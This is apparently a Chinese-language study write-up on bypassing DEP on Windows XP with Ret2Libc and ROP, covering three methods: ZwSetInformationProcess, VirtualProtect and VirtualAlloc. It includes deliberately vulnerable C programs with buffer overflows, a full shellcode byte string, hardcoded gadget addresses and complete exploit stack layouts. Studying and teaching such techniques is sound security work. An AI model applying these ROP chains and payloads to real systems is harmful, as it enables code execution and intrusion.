还是和linux下溢出利用对比。
开启了DEP后,栈的内存空间变成不可执行,无法再把shellcode布置其中然后执行。而如果在代码区找到一些替代指令,通过ROP链的方式连接起来,来达到shellcode的功能,这在linux下是完全可行的(即ROP技术,毕竟system('/bin/sh')或execve('/bin/sh')是非常简捷的),但是在windows下要复杂的多的多的多,并且不具备通用性。
《0day》书中提到了在继承这种思想(即Ret2Libc)的大前提下,三种经过改进的,相对比较有效的绕过DEP的exploit方法。
1.使用ZwSetInformationProcess( )将DEP关闭后再转入shellcode执行
2.使用VirtualProtect将shellcode所在内存页设置为可执行状态,然后转入shellcode执行
3.使用VirtualAlloc开辟一段具有执行权限的内存空间,复制shellcode到其中执行
0x00 Ret2Libc实战之利用ZwSetInformationProcess
一个进程的DEP设置标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS上,而这个标识可以通过API函数ZwQueryInformationProcess和ZwSetInformationProcess进行查询和修改。(有些资料中将这些函数成为NtQueryInformationProcess和 NtSetInformationProcess,在Ntdll.dll中Nt**函数和Zw**函数功能是完全一样的。)
_KEXECUTE_OPTIONS结构定义:
Pos0: ExecuteDisable :1bit
Pos1: ExecuteEnable :1bit
Pos2: DisableThunkEmulation : 1bit
Pos3: Permanent :1bit
Pos4: ExecuteDispatchEnable : 1bit
Pos5: ImageDispatchEnable :1bit
Pos6: Spare :2bit
其中Permanent置1后这些属性都无法再修改。真正影响DEP的是前两位,所以我们只要把_KEXECUTE_OPTIONS设置为2(0b00000010)就可以关闭DEP
关键函数ZwSetInformationProcess的定义:
ZwSetInformationProcess(
IN HANDLE ProcessHandle, //进程的句柄,设置为-1表示当前进程
IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength );
Skape和Skywing在他们的论文Bypassing Windows Hardware-Enforced DEP中给出了关闭DEP的参数设置:
ZwSetInformationProcess(
NtCurrentProcess( ), //(HANDLE) -1
ProcessExecuteFlags, // 0x22
&ExecuteFlags, // ptr to 0x2
sizeof(ExecuteFlags)); // 0x4
具体的构造利用还要考虑到字符串复制时’\x00'截断的问题,还有一种方法就是在系统中寻找已经构造好的参数,如果系统中存在一处关闭当前进程DEP的调用,我们就可以直接用它构造参数来关闭进程的DEP了。
微软的兼容性考虑,如果一个进程的Permanent位没有设置,当它加载DLL时,如果符合以下条件之一时进程的DEP就会被关闭:
1)当DLL受SafeDisc版权保护系统保护时
2)当DLL包含有 .aspcak 、 .pcle 、 .sforce等字节时
3)windows vista下面当DLL包含在注册表”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DIINXOptions“键下边标识出不需要启动DEP的模块时。
换言之如果我们能够模拟其中一种情况(例如借助ROP更改用于判断的寄存器值),那么当前进程的DEP将被关闭。
一开始想跳过这一节直接看用virtualprotect的方法的,后来发现这里提到了后面也要用到的调整ebp和esp,还是比较有意思的。
首先是漏洞代码:
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
#include<windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x6f\x69\x74\x21\x68\x65\x78\x70\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xe2\x92\x7c" //mov eax,1 ; retn
"\x24\xcd\x93\x7c";
void test()
{
char tt[176];
strcpy(tt,shellcode);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
先把shellcode放好,然后再用计算偏移量的方法计算还需要多少字节能够覆盖到EIP,并用\x90填充。
用od插件查找LdrpCheckNXCompatibility函数,在0x7c93cd24对al寄存器的值进行检验之前,先在内存中寻找一条mov eax,1 ; retn的rop来修改eax,从而伪造出第一种情况中,DLL受SafeDisc版权保护系统保护的假象,然后再跳转到0x7c93cd24来关闭DEP。
但是程序并没有如我们想象的那样执行:
原来是我们覆盖EIP的时候把EBP也冲掉了,试图向[EBP-0x4]写入时出现了错误
之后仍然能返回到LdrpCheckNXCompatibility中执行一直到retn,但是实际上所有的jnz都不会跳转,从而根本不会跳转到0x7c956831去执行用于关闭DEP的ZwSetInformationProcess函数!
所以在转入0x7c93cd24前,需要将ebp指向一个可写的位置。满足可写只有esp,我们只能选择push esp pop ebp retn这样一条指令序列。(只是retn 4之后esp相当于+4+4相对ebp位于高地址,接下来若有压栈操作有可能将ebp-0x4覆盖,造成传参(第三个参数&ExecuteFlags)不正确)
ebp-4果然被覆盖变成了0x22,但是其低四位与0x2相同仍然是0100不影响使用。
然后。。。然后就叕叕出问题了
关闭DEP返回的时候发现栈顶变成了0x000004,正是调用ZwSetInformationProcess传参时候压入的4,DEP是关掉了但是没法继续了也很无奈啊。。。究其原因还是因为esp在高地址而且距离ebp太近了,几次压栈就有可能冲掉栈中保存的返回地址,思路大概就是减小esp或者增大ebp,这里采用的办法是干脆增大esp(因为找不到增大ebp,而且shellcode在低地址减小esp的话又会破坏shellcode)
这里使用0x5d18698d的retn 0x28来增大esp:
exploit!
0x01 Ret2Libc实战之利用VirtualProtect
原理上类同linux下用mprotect修改内存页权限来绕过NX执行shellcode(linux x64 ROP in XMAN-Level5)
MSDN 上的函数说明
lpAddress:要改变属性的内存起始地址
dwSize:要改变属性的内存区域大小
flNewProtect:内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行
pflOldProtect:内存原始属性类型保存地址
需要注意:
1)参数中包含\x00,使用strcpy复制字符串会被截断,试验中用memcpy构造溢出点
2)试验中使用一种巧妙地栈帧构造方法确定shellcode所在内存空间起始地址
触发漏洞的程序:
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
#include<windows.h>
char shellcode[]=
""
void test()
{
char tt[176];
memcpy(tt,shellcode,420);
}
void jump()
{
__asm jmp esp; //书中给的源码是没有这个函数的
}
int main() {
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
首先还是用\x90填充计算多少字节覆盖到返回地址
接着需要调整ebp,还是使用push esp ; pop ebp ; retn 4序列的方式,返回后ebp和esp:
查看我们需要调用的virtualprotectEX函数的传参:
[ebp+0x8] ===> lpAddress //要改变属性的内存起始地址 需要栈中相对于shellcode的低地址
[ebp+0xc] ===> dwSize //要改变属性的内存区域大小 设为0xff完全够用
[ebp+0x10] ===> flNewProtect //内存新的属性类型 0x40即为R W E
[ebp+0x14] ===> pflOldProtect //需要一可写地址
retn 4之后esp恰好指向ebp+0x8,也就是说我们只需要一个mov [esp],** ; pop ;pop ;retn的指令序列就可以完成传参,但是没有找到这样一条指令序列。
另一种方法就是使esp再增加4字节然后压栈,使esp增加4字节的指令很简单retn就可以完成,接着我们只需要push esp ; pop ; pop ;pop ; retn这样的序列,就可以把esp+0x8的位置写入当前esp的值(显然是相对于shellcode的低地址),紧接着在栈上静态布置好size(0xff)和属性类型(0x40),pop指令不会去修改他们,最后再进行一次push esp pop pop pop retn,[ebp+0x14]需要的一可写地址也满足了,再填充8字节的nop又可以继续构造rop链。
但是并没有找到一条push esp pop pop pop retn的序列,这里就提供一种拼接的方式,首先需要找到拼接的材料:
1)push esp ; jmp eax
2.)pop eax ; retn
3) pop ;pop ; pop ; retn (不能修改ebp,esp,eax)
////////////////////////////////////////////////////
esp==> //address of pop eax retn //
////////////////////////////////////////////////////
//address of pop pop pop retn //
/////////////////////////////////////////////////////
//address of push esp jmp eax //
/////////////////////////////////////////////////////
如此在栈中布局,就拼接出了一条push esp pop pop pop retn指令序列。然后就可以跳转到0x7c801ad9去执行virtualprotectEX,查看返回值:
eax为1说明修改成功。
最后jmp esp和布置shellcode之前要加入16字节\x90的填充,否则esp指向shellcode中间,shellcode开始处的压栈操作会破坏shellcode自身。
PS:最后发现没有找到可执行的jmp esp???只能自己在代码段里内联了一个,或者既然地址没开随机化可以硬编码shellcode的起始地址。有时间还是学一学idc写一些自己用的方便插件。
0x02 Ret2Libc实战之利用VirtualAlloc
Windows XP
VC++6.0
Ollydbg
ImmunityDebug(mona)
代码:
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
#include<windows.h>
char shellcode[]=
""
void test()
{
char tt[176];
memcpy(tt,shellcode,450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
180个填充后覆盖到反对地址
这时ebp已经被我们的输入覆盖了,需要用push esp ; pop ebp ; retn修正ebp,接着就可以调用virtualAlloc()来申请一块新的可写可执行的内存。
参数:
0x30000 申请空间起始地址
0xfff 申请空间大小
0x1000 申请类型
0x40 申请空间访问类型(RWE)
如果用这里的0x7c809af4的话,还要在加上一个参数0xffffffff表示当前进程。这些参数都是静态确定的所以可以直接放在栈中传递:
"\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" //push esp ; pop ebp ; retn 4
"\xf4\x9a\x80\x7c" //call VirtualAlloc
"\x90\x90\x90\x90"
"\xff\xff\xff\xff"
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
返回值为1说明申请成功,此时用od的Memory窗口可以看到0x30000开始的一片内存且权限为RWE。
注意返回的时候有一个pop ebp的指令又破坏了ebp,所以还要重新修正ebp一次。
接着需要做的就是把shellcode复制到0x30000中去执行,可以使用memcpy来完成这一步。
dest:0x30000
src :<=shellcode start
count:长度可以覆盖到shellcode
可以直接使用程序代码中的memcpy,这里并没有调用ntdll里面的memcpy:
主要需要考虑的就是memcpy的源地址,当然这里shellcode是硬编码进去的,可以静态确定。但是更一般的情况是shellcode出现在用户的输入中,作为局部变量存储在栈中,所以shellcode的起始地址需要我们动态确定。事实上只需要一个在栈中相对于shellcode的低地址就足够了。一条push esp就可以帮助我们完成传参!
考虑第二次修正ebp之后栈的情况
"\x85\x8b\x1d\x5d" //push esp ; pop ebp ; retn 4
"\x3d\x19\xfa\x7f" //pop edx retn <==== ebp
"\x08\x00\x03\x00" //memcpy返回后将跳转到这里指向的地址
"\x00\x00\x03\x00"
ebp将会指向如上的位置,此时再在栈中ebp+8的位置填入0x30000,即完成了第一个参数的传入,接着pop retn防止第一个参数被修改,返回地址处填上push esp ; jmp eax,eax可以预先放上一个pop pop retn的地址,即拼出一条push esp ; pop ; pop ; retn的指令,防止后两个参数被修改,retn的地址放上0x401050。
总体的布局:
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" //adjust ebp retn 4
"\xf4\x9a\x80\x7c" //call virtualalloc
"\x90\x90\x90\x90"
"\xff\xff\xff\xff"
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\xfc\xda\xce\x7d" //pop eax retn
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //paddings for retn 0x10 "\xb9\x81\xce\x7d" //pop pop retn
"\x85\x8b\x1d\x5d" //adjust ebp retn 4
"\x3d\x19\xfa\x7f" //pop edx retn
"\x08\x00\x03\x00"
"\x00\x00\x03\x00"
"\xc6\xc6\xeb\x77" //push esp jmp eax
"\xff\x0f\x00\x00" //length
"\x55\x10\x40\x00"
“......” //shellcode
EXPLOIT!